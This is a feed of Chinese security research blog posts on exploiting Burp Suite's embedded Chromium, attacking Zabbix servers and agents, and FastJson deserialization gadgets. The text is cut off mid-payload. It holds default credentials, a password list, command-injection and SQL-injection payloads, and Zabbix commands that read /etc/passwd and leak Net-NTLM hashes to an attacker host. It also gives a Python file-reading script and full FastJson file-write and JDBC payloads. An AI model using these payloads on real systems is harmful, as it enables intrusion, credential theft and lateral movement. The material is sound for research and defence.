Normal view

There are new articles available, click to refresh the page.
Before yesterdayNoah Lab

反制爬虫之 Burp Suite 远程命令执行

By: Wfox
6 September 2021 at 05:14

一、前言

Headless Chrome是谷歌Chrome浏览器的无界面模式,通过命令行方式打开网页并渲染,常用于自动化测试、网站爬虫、网站截图、XSS检测等场景。

近几年许多桌面客户端应用中,基本都内嵌了Chromium用于业务场景使用,但由于开发不当、CEF版本不升级维护等诸多问题,攻击者可以利用这些缺陷攻击客户端应用以达到命令执行效果。

本文以知名渗透软件Burp Suite举例,从软件分析、漏洞挖掘、攻击面扩展等方面进行深入探讨。

二、软件分析

以Burp Suite Pro v2.0beta版本为例,要做漏洞挖掘首先要了解软件架构及功能点。

burpsuite_pro_v2.0.11beta.jar进行解包,可以发现Burp Suite打包了Windows、Linux、Mac的Chromium,可以兼容在不同系统下运行内置Chromium浏览器。

-w869

在Windows系统中,Burp Suite v2.0运行时会将chromium-win64.7z解压至C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\目录

从目录名及数字签名得知Burp Suite v2.0是直接引用JxBrowser浏览器控件,其打包的Chromium版本为64.0.3282.24。

那如何在Burp Suite中使用内置浏览器呢?在常见的使用场景中,Proxy -> HTTP history -> Response -> RenderRepeater -> Render都能够调用内置Chromium浏览器渲染网页。

当Burp Suite唤起内置浏览器browsercore32.exe打开网页时,browsercore32.exe会创建Renderer进程及GPU加速进程。

browsercore32.exe进程运行参数如下:

// Chromium主进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --port=53070 --pid=13208 --dpi-awareness=system-aware --crash-dump-dir=C:\Users\user\AppData\Local\JxBrowser --lang=zh-CN --no-sandbox --disable-xss-auditor --headless --disable-gpu --log-level=2 --proxy-server="socks://127.0.0.1:0" --disable-bundled-ppapi-flash --disable-plugins-discovery --disable-default-apps --disable-extensions --disable-prerender-local-predictor --disable-save-password-bubble --disable-sync --disk-cache-size=0 --incognito --media-cache-size=0 --no-events --disable-settings-window

// Renderer进程
C:\Users\user\AppData\Local\JxBrowser\browsercore-64.0.3282.24.unknown\browsercore32.exe --type=renderer --log-level=2 --no-sandbox --disable-features=LoadingWithMojo,browser-side-navigation --disable-databases --disable-gpu-compositing --service-pipe-token=C06434E20AA8C9230D15FCDFE9C96993 --lang=zh-CN --crash-dump-dir="C:\Users\user\AppData\Local\JxBrowser" --enable-pinch --device-scale-factor=1 --num-raster-threads=1 --enable-gpu-async-worker-context --disable-accelerated-video-decode --service-request-channel-token=C06434E20AA8C9230D15FCDFE9C96993 --renderer-client-id=2 --mojo-platform-channel-handle=2564 /prefetch:1

从进程运行参数分析得知,Chromium进程以headless模式运行、关闭了沙箱功能、随机监听一个端口(用途未知)。

三、漏洞利用

Chromium组件的历史版本几乎都存在着1Day漏洞风险,特别是在客户端软件一般不会维护升级Chromium版本,且关闭沙箱功能,在没有沙箱防护的情况下漏洞可以无限制利用。

Burp Suite v2.0内置的Chromium版本为64.0.3282.24,该低版本Chromium受到多个历史漏洞影响,可以通过v8引擎漏洞执行shellcode从而获得PC权限。

以Render功能演示,利用v8漏洞触发shellcode打开计算器(此处感谢Sakura提供漏洞利用代码)

这个漏洞没有公开的CVE ID,但其详情可以在这里找到。
该漏洞的Root Cause是在进行Math.expm1的范围分析时,推断出的类型是Union(PlainNumber, NaN),忽略了Math.expm1(-0)会返回-0的情况,从而导致范围分析错误,导致JIT优化时,错误的将边界检查CheckBounds移除,造成了OOB漏洞。

用户在通过Render功能渲染页面时触发v8漏洞成功执行shellcode。

四、进阶攻击

Render功能需要用户交互才能触发漏洞,相对来说比较鸡肋,能不能0click触发漏洞?答案是可以的。

Burp Suite v2.0的Live audit from Proxy被动扫描功能在默认情况下开启JavaScript分析引擎(JavaScript analysis),用于扫描JavaScript漏洞。

其中JavaScript分析配置中,默认开启了动态分析功能(dynamic analysis techniques)、额外请求功能(Make requests for missing Javascript dependencies)

JavaScript动态分析功能会调用内置chromium浏览器对页面中的JavaScript进行DOM XSS扫描,同样会触发页面中的HTML渲染、JavaScript执行,从而触发v8漏洞执行shellcode。

额外请求功能当页面存在script标签引用外部JS时,除了页面正常渲染时请求加载script标签,还会额外发起请求加载外部JS。即两次请求加载外部JS文件,并且分别执行两次JavaScript动态分析。

额外发起的HTTP请求会存在明文特征,后端可以根据该特征在正常加载时返回正常JavaScript代码,额外加载时返回漏洞利用代码,从而可以实现在Burp Suite HTTP history中隐藏攻击行为。

GET /xxx.js HTTP/1.1
Host: www.xxx.com
Connection: close
Cookie: JSESSIONID=3B6FD6BC99B03A63966FC9CF4E8483FF

JavaScript动态分析 + 额外请求 + chromium漏洞组合利用效果:

Kapture 2021-09-06 at 2.14.35

五、流量特征检测

默认情况下Java发起HTTPS请求时协商的算法会受到JDK及操作系统版本影响,而Burp Suite自己实现了HTTPS请求库,其TLS握手协商的算法是固定的,结合JA3算法形成了TLS流量指纹特征可被检测,有关于JA3检测的知识点可学习《TLS Fingerprinting with JA3 and JA3S》。

Cloudflare开源并在CDN产品上应用了MITMEngine组件,通过TLS指纹识别可检测出恶意请求并拦截,其覆盖了大多数Burp Suite版本的JA3指纹从而实现检测拦截。这也可以解释为什么在渗透测试时使用Burp Suite请求无法获取到响应包。

以Burp Suite v2.0举例,实际测试在各个操作系统下,同样的jar包发起的JA3指纹是一样的。

-w672

不同版本Burp Suite支持的TLS算法不一样会导致JA3指纹不同,但同样的Burp Suite版本JA3指纹肯定是一样的。如果需要覆盖Burp Suite流量检测只需要将每个版本的JA3指纹识别覆盖即可检测Burp Suite攻击从而实现拦截。

本文章涉及内容仅限防御对抗、安全研究交流,请勿用于非法途径。

Zabbix 攻击面挖掘与利用

By: Wfox
17 August 2021 at 06:47

一、简介

Zabbix是一个支持实时监控数千台服务器、虚拟机和网络设备的企业级解决方案,客户覆盖许多大型企业。本议题介绍了Zabbix基础架构、Zabbix Server攻击面以及权限后利用,如何在复杂内网环境中从Agent控制Server权限、再基于Server拿下所有内网Agent。

二、Zabbix监控组件

Zabbix监控系统由以下几个组件部分构成:

1. Zabbix Server

Zabbix Server是所有配置、统计和操作数据的中央存储中心,也是Zabbix监控系统的告警中心。在监控的系统中出现任何异常,将被发出通知给管理员。

Zabbix Server的功能可分解成为三个不同的组件,分别为Zabbix Server服务、Web后台及数据库。

2. Zabbix Proxy

Zabbix Proxy是在大规模分布式监控场景中采用一种分担Zabbix Server压力的分层结构,其多用在跨机房、跨网络的环境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性数据,然后把数据汇报给Zabbix Server,并且在一定程度上分担了Zabbix Server的压力。

3. Zabbix Agent

Zabbix Agent部署在被监控的目标机器上,以主动监控本地资源和应用程序(硬盘、内存、处理器统计信息等)。

Zabbix Agent收集本地的状态信息并将数据上报给Zabbix Server用于进一步处理。

三、Zabbix网络架构

对于Zabbix Agent客户端来说,根据请求类型可分为被动模式及主动模式:

  • 被动模式:Server向Agent的10050端口获取监控项数据,Agent根据监控项收集本机数据并响应。
  • 主动模式:Agent主动请求Server(Proxy)的10051端口获取监控项列表,并根据监控项收集本机数据提交给Server(Proxy)

从网络部署架构上看,可分为Server-Client架构、Server-Proxy-Client架构、Master-Node-Client架构:

  • Server-Client架构

最为常见的Zabbix部署架构,Server与Agent同处于内网区域,Agent能够直接与Server通讯,不受跨区域限制。
-w879

  • Server-Proxy-Client架构

多数见于大规模监控需求的企业内网,其多用在跨机房、跨网络的环境,由于Agent无法直接与位于其他区域的Server通讯,需要由各区域Proxy代替收集Agent数据然后再上报Server。
-w1059

四、Zabbix Agent配置分析

从进程列表中可判断当前机器是否已运行zabbix_agentd服务,Linux进程名为zabbix_agentd,Windows进程名为zabbix_agentd.exe

Zabbix Agent服务的配置文件为zabbix_agentd.conf,Linux默认路径在/etc/zabbix/zabbix_agentd.conf,可通过以下命令查看agent配置文件并过滤掉注释内容:

cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'

首先从配置文件定位zabbix_agentd服务的基本信息:

  • Server参数

Server或Proxy的IP、CIDR、域名等,Agent仅接受来自Server参数的IP请求。

Server=192.168.10.100
  • ServerActive参数

Server或Proxy的IP、CIDR、域名等,用于主动模式,Agent主动向ServerActive参数的IP发送请求。

ServerActive=192.168.10.100
  • StartAgents参数

为0时禁用被动模式,不监听10050端口。

StartAgents=0

经过对 zabbix_agentd.conf 配置文件各个参数的安全性研究,总结出以下配置不当可能导致安全风险的配置项:

  • EnableRemoteCommands参数

是否允许来自Zabbix Server的远程命令,开启后可通过Server下发shell脚本在Agent上执行。

风险样例:

EnableRemoteCommands=1
  • AllowRoot参数

Linux默认以低权限用户zabbix运行,开启后以root权限运行zabbix_agentd服务。

风险样例:

AllowRoot=1
  • UserParameter参数

自定义用户参数,格式为UserParameter=<key>,<command>,Server可向Agent执行预设的自定义参数命令以获取监控数据,以官方示例为例:

UserParameter=ping[*],echo $1

当Server向Agent执行ping[aaaa]指令时,$1为传参的值,Agent经过拼接之后执行的命令为echo aaaa,最终执行结果为aaaa

command存在命令拼接,但由于传参内容受UnsafeUserParameters参数限制,默认无法传参特殊符号,所以默认配置利用场景有限。

官方漏洞案例可参考CVE-2016-4338漏洞。

  • UnsafeUserParameters参数

自定义用户参数是否允许传参任意字符,默认不允许字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @

风险样例:

UnsafeUserParameters=1

当UnsafeUserParameters参数配置不当时,组合UserParameter自定义参数的传参命令拼接,可导致远程命令注入漏洞。

由Server向Agent下发指令执行自定义参数,即可在Agent上执行任意系统命令。
UserParameter=ping[*],echo $1 为例,向Agent执行指令ping[test && whoami],经过命令拼接后最终执行echo test && whoami,成功注入执行shell命令。

  • Include参数

加载配置文件目录单个文件或所有文件,通常包含的conf都是配置UserParameter自定义用户参数。

Include=/etc/zabbix/zabbix_agentd.d/*.conf

五、Zabbix Server攻击手法

除了有利用条件的Zabbix Agent漏洞外,默认情况下Agent受限于IP白名单限制,只处理来自Server的请求,所以攻击Zabbix Agent的首要途径就是先拿下Zabbix Server。

经过对Zabbix Server攻击面进行梳理,总结出部分攻击效果较好的漏洞:

1. Zabbix Web后台弱口令

Zabbix安装后自带Admin管理员用户和Guests访客用户(低版本),可登陆Zabbiax后台。

超级管理员默认账号:Admin,密码:zabbix
Guests用户,账号:guest,密码为空

2. MySQL弱口令

从用户习惯来看,运维在配置Zabbix时喜欢用弱口令作为MySQL密码,且搜索引擎的Zabbix配置教程基本用的都是弱口令,这导致实际环境中Zabbix Server的数据库密码通常为弱口令。

除了默认root用户无法外连之外,运维通常会新建MySQL用户 zabbix,根据用户习惯梳理了zabbix用户的常见密码:

123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456

拿下MySQL数据库后,可解密users表的密码md5值,或者直接替换密码的md5为已知密码,即可登录Zabbix Web。

3. CVE-2020-11800 命令注入

Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞,该漏洞为基于CVE-2017-2824的绕过利用。
未授权攻击者向Zabbix Server的10051端口发送trapper功能相关命令,利用漏洞即可在Zabbix Server上执行系统命令。

active checks是Agent主动检查时用于获取监控项列表的命令,Zabbix Server在开启自动注册的情况下,通过active checks命令请求获取一个不存在的host时,自动注册机制会将json请求中的host、ip添加到interface数据表里,其中CVE-2020-11800漏洞通过ipv6格式绕过ip字段检测注入执行shell命令,受数据表字段限制Payload长度只能为64个字符

{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}

自动注册调用链:

active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()

command指令可以在未授权的情况下可指定主机(hostid)执行指定脚本(scriptid),Zabbix存在3个默认脚本,脚本中的{HOST.CONN}在脚本调用的时候会被替换成主机IP。

# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1

scriptid指定其中任意一个,hostid为注入恶意Payload后的主机id,但自动注册后的hostid是未知的,所以通过command指令遍历hostid的方式都执行一遍,最后成功触发命令注入漏洞。

{"request":"command","scriptid":1,"hostid":10001}

由于默认脚本的类型限制,脚本都是在Zabbix Server上运行,Zabbix Proxy是无法使用command指令的。payload长度受限制可拆分多次执行,必须更换host名称以执行新的payload。

漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2020-11800)

-w956

4. CVE-2017-2824 命令注入

上面小结已详细讲解,CVE-2017-2824与CVE-2020-11800漏洞点及利用区别不大,不再复述,可参考链接:https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325

漏洞靶场及利用脚本:Zabbix Server trapper命令注入漏洞(CVE-2017-2824)

5. CVE-2016-10134 SQL注入

CVE-2016-10134 SQL注入漏洞已知有两个注入点:

  • latest.php,需登录,可使用未关闭的Guest访客账号。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

-w1192

  • jsrpc.php,无需登录即可利用。

利用脚本:https://github.com/RicterZ/zabbixPwn
-w676

漏洞靶场及利用脚本:zabbix latest.php SQL注入漏洞(CVE-2016-10134)

六、Zabbix Server权限后利用

拿下Zabbix Server权限只是阶段性的成功,接下来的问题是如何控制Zabbix Agent以达到最终攻击目的。

Zabbix Agent的10050端口仅处理来自Zabbix Server或Proxy的请求,所以后续攻击都是依赖于Zabbix Server权限进行扩展,本章节主要讲解基于监控项item功能的后利用。

在zabbix中,我们要监控的某一个指标,被称为“监控项”,就像我们的磁盘使用率,在zabbix中就可以被认为是一个“监控项”(item),如果要获取到“监控项”的相关信息,我们则要执行一个命令,但是我们不能直接调用命令,而是通过一个“别名”去调用命令,这个“命令别名”在zabbix中被称为“键”(key),所以在zabbix中,如果我们想要获取到一个“监控项”的值,则需要有对应的“键”,通过“键”能够调用相应的命令,获取到对应的监控信息。

以Zabbix 4.0版本为例,按照个人理解 item监控项可分为通用监控项、主动检查监控项、Windows监控项、自定义用户参数(UserParameter)监控项,Agent监控项较多不一一例举,可参考以下链接:
1. Zabbix Agent监控项
2. Zabbix Agent Windows监控项

在控制Zabbix Server权限的情况下可通过zabbix_get命令向Agent获取监控项数据,比如说获取Agent的系统内核信息:

zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"

-w643

结合上述知识点,针对item监控项的攻击面进行挖掘,总结出以下利用场景:

1. EnableRemoteCommands参数远程命令执行

Zabbix最为经典的命令执行利用姿势,许多人以为控制了Zabbix Server就肯定能在Agent上执行命令,其实不然,Agent远程执行系统命令需要在zabbix_agentd.conf配置文件中开启EnableRemoteCommands参数。

在Zabbix Web上添加脚本,“执行在”选项可根据需求选择,“执行在Zabbix服务器” 不需要开启EnableRemoteCommands参数,所以一般控制Zabbix Web后可通过该方式在Zabbix Server上执行命令拿到服务器权限。
-w669

如果要指定某个主机执行该脚本,可从Zabbix Web的“监测中 -> 最新数据”功能中根据过滤条件找到想要执行脚本的主机,单击主机名即可在对应Agent上执行脚本。

这里有个常见误区,如果类型是“执行在Zabbix服务器”,无论选择哪台主机执行脚本,最终都是执行在Zabbix Server上。

如果类型是“执行在Zabbix客户端”,Agent配置文件在未开启EnableRemoteCommands参数的情况下会返回报错。
-w1143

Agent配置文件在开启EnableRemoteCommands参数的情况下可成功下发执行系统命令。
-w873

如果不想在Zabbix Web上留下太多日志痕迹,或者想批量控制Agent,拿下Zabbix Server权限后可以通过zabbix_get命令向Agent执行监控项命令,在Zabbix Web执行脚本实际上等于执行system.run监控项命令

也可以基于Zabbix Server作为隧道跳板,在本地执行zabbix_get命令也能达到同样效果(Zabbix Agent为IP白名单校验)。

-w592

2. UserParameter自定义参数命令注入

之前介绍UserParameter参数的时候提到过,执行监控项时UserParameter参数command命令的$1、$2等会被替换成item传参值,存在命令注入的风险,但默认受UnsafeUserParameters参数限制无法传入特殊字符。

当Zabbiax Agent的zabbix_agentd.conf配置文件开启UnsafeUserParameters参数的情况下,传参值字符不受限制,只需要找到存在传参的自定义参数UserParameter,就能达到命令注入的效果。

举个简单案例,在zabbix_agentd.conf文件中添加自定义参数:

UserParameter=ping[*],echo $1

默认情况下UnsafeUserParameters被禁用,传入特殊字符将无法执行命令。
-w1190

zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1,command经过传参拼接后成功注入系统命令。

zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"

-w543

UnsafeUserParameters参数配置不当问题在监控规模较大的内网里比较常见,内网渗透时可以多留意Agent配置信息。

3. 任意文件读取

Zabbix Agent如果没有配置不当的问题,是否有其他姿势可以利用呢?答案是肯定的。

Zabbix原生监控项中,vfs.file.contents命令可以读取指定文件,但无法读取超过64KB的文件。

zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"

-w644

zabbix_agentd服务默认以低权限用户zabbix运行,读取文件受zabbix用户权限限制。开启AllowRoot参数情况下zabbix_agentd服务会以root权限运行,利用vfs.file.contents命令就能任意文件读取。

如果文件超过64KB无法读取,在了解该文件字段格式的情况下可利用vfs.file.regexp命令正则获取关键内容。

4. Windows目录遍历

Zabbix原生监控项中,wmi.get命令可以执行WMI查询并返回第一个对象,通过WQL语句可以查询许多机器信息,以下例举几种利用场景:

  • 遍历盘符

由于wmi.get命令每次只能返回一行数据,所以需要利用WQL的条件语句排除法逐行获取数据。

比如WQL查询盘符时,只返回了C:

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"

通过追加条件语句排除已经查询处理的结果,从而获取下一行数据。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"

可通过脚本一直追加条件语句进行查询,直至出现Cannot obtain WMI information.代表WQL已经无法查询出结果。从图中可以看到通过wmi.get命令查询出了该机器上存在C:、D:盘符。

-w1143

  • 遍历目录

获取C:下的目录,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"

...

-w879

获取C:下的文件,采用条件语句排除法逐行获取。

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"

zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"

...

-w947

利用wmi.get命令进行目录遍历、文件遍历,结合vfs.file.contents命令就能够在Windows下实现任意文件读取。

基于zabbix_get命令写了个python脚本,实现Windows的列目录、读文件功能。

import os
import sys

count = 0

def zabbix_exec(ip, command):
    global count
    count = count + 1
    check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
    if "Cannot obtain WMI information" not in check:
        return check.strip()
    else:
        return False

def getpath(path):
    return path.replace("\\","\\\\\\\\").replace("$","\\$")

def GetDisk(ip):
    where = ""
    while(True):
        check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
        if check_disk:
            print(check_disk)
            where = where + "AND Name != '" + check_disk+ "'"
        else:
            break

def GetDirs(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_dir:
            print(check_dir)
            where = where + "AND Caption != '" + getpath(check_dir) + "'"
        else:
            break

def GetFiles(ip, dir):
    drive = dir[0:2]
    path = dir[2:]

    where = ""
    while(True):
        check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
        if check_file:
            if "Invalid item key format" in check_file:
                continue
            print(check_file)
            where = where + "AND Name != '" + getpath(check_file) + "'"
        else:
            break

def Readfile(ip, file):
    read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
    print(read)

if __name__ == "__main__":
    if len(sys.argv) == 2:
        GetDisk(sys.argv[1])
    elif sys.argv[2][-1] != "\\":
        Readfile(sys.argv[1], sys.argv[2])
    else:
        GetDirs(sys.argv[1],sys.argv[2])
        GetFiles(sys.argv[1],sys.argv[2])
    
    print("Request count: " + str(count))

5. Windows UNC路径利用

在Windows Zabbix Agent环境中,可以利用vfs.file.contents命令读取UNC路径,窃取Zabbix Agent机器的Net-NTLM hash,从而进一步Net-NTLM relay攻击。

Window Zabbix Agent默认安装成Windows服务,运行在SYSTEM权限下。在工作组环境中,system用户的Net-NTLM hash为空,所以工作组环境无法利用。

在域内环境中,SYSTEM用户即机器用户,如果是Net-NTLM v1的情况下,可以利用Responder工具获取Net-NTLM v1 hash并通过算法缺陷解密拿到NTLM hash,配合资源约束委派获取域内机器用户权限,从而拿下Agent机器权限。

也可以配合CVE-2019-1040漏洞,relay到ldap上配置基于资源的约束委派进而拿下Agent机器权限。

zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"

-w746

-w1917

6. Zabbix Proxy和主动检查模式利用场景

通过zabbix_get工具执行监控项命令只适合Agent被动模式且10050端口可以通讯的场景(同时zabbix_get命令也是为了演示漏洞方便)。

如果在Zabbix Proxy场景或Agent主动检查模式的情况下,Zabbix Server无法直接与Agent 10050端口通讯,可以使用比较通用的办法,就是通过Zabbix Web添加监控项。

以UserParameter命令注入漏洞举例,给指定主机添加监控项,键值中填入监控项命令,信息类型选择文本:
-w795

在最新数据中按照筛选条件找到指定主机,等待片刻就能看到执行结果。
-w1072

任意文件读取漏洞也同理:
-w783

-w701

通过zabbix_get工具执行结果最大可返回512KB的数据,执行结果存储在MySQL上的限制最大为64KB。

ps: 添加的监控项会一直定时执行,所以执行完后记得删除监控项。

七、参考链接

https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/

Blackhat 2021 议题详细分析—— FastJson 反序列化漏洞及在区块链应用中的渗透利用

By: Skay
17 August 2021 at 05:11

FastJson反序列化0day及在区块链应用中的后渗透利用

链接:https://www.blackhat.com/us-21/briefings/schedule/#how-i-used-a-json-deserialization-day-to-steal-your-money-on-the-blockchain-22815

PPT链接:http://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Xing-How-I-Use-A-JSON-Deserialization.pdf

一、Fastjson反序列化原理

这个图其实已经能让人大致理解了,更详细的分析移步
Fastjson反序列化原理

image

二、byPass checkAutotype

关于CheckAutoType相关安全机制简单理解移步

https://kumamon.fun/FastJson-checkAutoType/

以及 https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

https://www.anquanke.com/post/id/225439

https://mp.weixin.qq.com/s/OvRyrWFZLGu3bAYhOPR4KA

一句话总结checkAutoType(String typeName, Class<?> expectClass, int features) 方法的 typeName 实现或继承自 expectClass,就会通过检验

2

三、议题中使用的Fastjson 的一些已公开Gadgets

  • 必须继承 auto closeable。
  • 必须具有默认构造函数或带符号的构造函数,否则无法正确实例化。
  • 不在黑名单中
  • 可以引起 rce 、任意文件读写或其他高风险影响
  • gadget的依赖应该在原生jdk或者广泛使用的第三方库中

Gadget自动化寻找

ggg

https://gist.github.com/5z1punch/6bb00644ce6bea327f42cf72bc620b80

3

关于这几条链我们简单复现下

1.Mysql JDBC

搭配使用 https://github.com/fnmsd/MySQL_Fake_Server

import com.alibaba.fastjson.JSON;

public class Payload_test {
    public static void main(String[] args){

        //搭配使用 https://github.com/fnmsd/MySQL_Fake_Server
        String payload_mysqljdbc = "{\"aaa\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.lang.AutoCloseable\", \"@type\":\"\\u0063\\u006f\\u006d.mysql.jdbc.JDBC4Connection\",\"hostToConnectTo\":\"192.168.33.128\",\"portToConnectTo\":3306,\"url\":\"jdbc:mysql://192.168.33.128:3306/test?detectCustomCollations=true&autoDeserialize=true&user=\",\"databaseToConnectTo\":\"test\",\"info\":{\"@type\":\"\\u006a\\u0061\\u0076\\u0061.util.Properties\",\"PORT\":\"3306\",\"statementInterceptors\":\"\\u0063\\u006f\\u006d.mysql.jdbc.interceptors.ServerStatusDiffInterceptor\",\"autoDeserialize\":\"true\",\"user\":\"cb\",\"PORT.1\":\"3306\",\"HOST.1\":\"172.20.64.40\",\"NUM_HOSTS\":\"1\",\"HOST\":\"172.20.64.40\",\"DBNAME\":\"test\"}}\n" + "}";

        JSON.parse(payload_mysqljdbc);

        JSON.parseObject(payload_mysqljdbc);
    }
}
3

更多版本详情参考 https://mp.weixin.qq.com/s/BRBcRtsg2PDGeSCbHKc0fg

2.commons-io写文件

https://mp.weixin.qq.com/s/6fHJ7s6Xo4GEdEGpKFLOyg

2.1 commons-io 2.0 - 2.6

 String aaa_8192 = "ssssssssssssss"+Some_Functions.getRandomString(8192);
//        String write_name = "C://Windows//Temp//sss.txt";
String write_name = "D://tmp//sss.txt";
String payload_commons_io_filewrite_0_6 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\"},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"encoding\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger2\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"},\"trigger3\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"is\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": true},\"httpContentType\":\"text/xml\",\"lenient\":false,\"defaultEncoding\":\"UTF-8\"}}}";
4

此处在Linux复现时,或者其它环境根据操作系统及进程环境不同fastjson构造函数的调用会出现随机化,在原Poc基础上修改如下即可

5

2.1 commons-io 2.7.0 - 2.8.0

String payload_commons_io_filewrite_7_8 = "{\"x\":{\"@type\":\"com.alibaba.fastjson.JSONObject\",\"input\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.ReaderInputStream\",\"reader\":{\"@type\":\"org.apache.commons.io.input.CharSequenceReader\",\"charSequence\":{\"@type\":\"java.lang.String\"\""+aaa_8192+"\",\"start\":0,\"end\":2147483647},\"charsetName\":\"UTF-8\",\"bufferSize\":1024},\"branch\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.output.WriterOutputStream\",\"writer\":{\"@type\":\"org.apache.commons.io.output.FileWriterWithEncoding\",\"file\":\""+write_name+"\",\"charsetName\":\"UTF-8\",\"append\": false},\"charsetName\":\"UTF-8\",\"bufferSize\": 1024,\"writeImmediately\": true},\"trigger\":{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"org.apache.commons.io.input.XmlStreamReader\",\"inputStream\":{\"@type\":\"org.apache.commons.io.input.TeeInputStream\",\"input\":{\"$ref\":\"$.input\"},\"branch\":{\"$ref\":\"$.branch\"},\"closeBranch\": 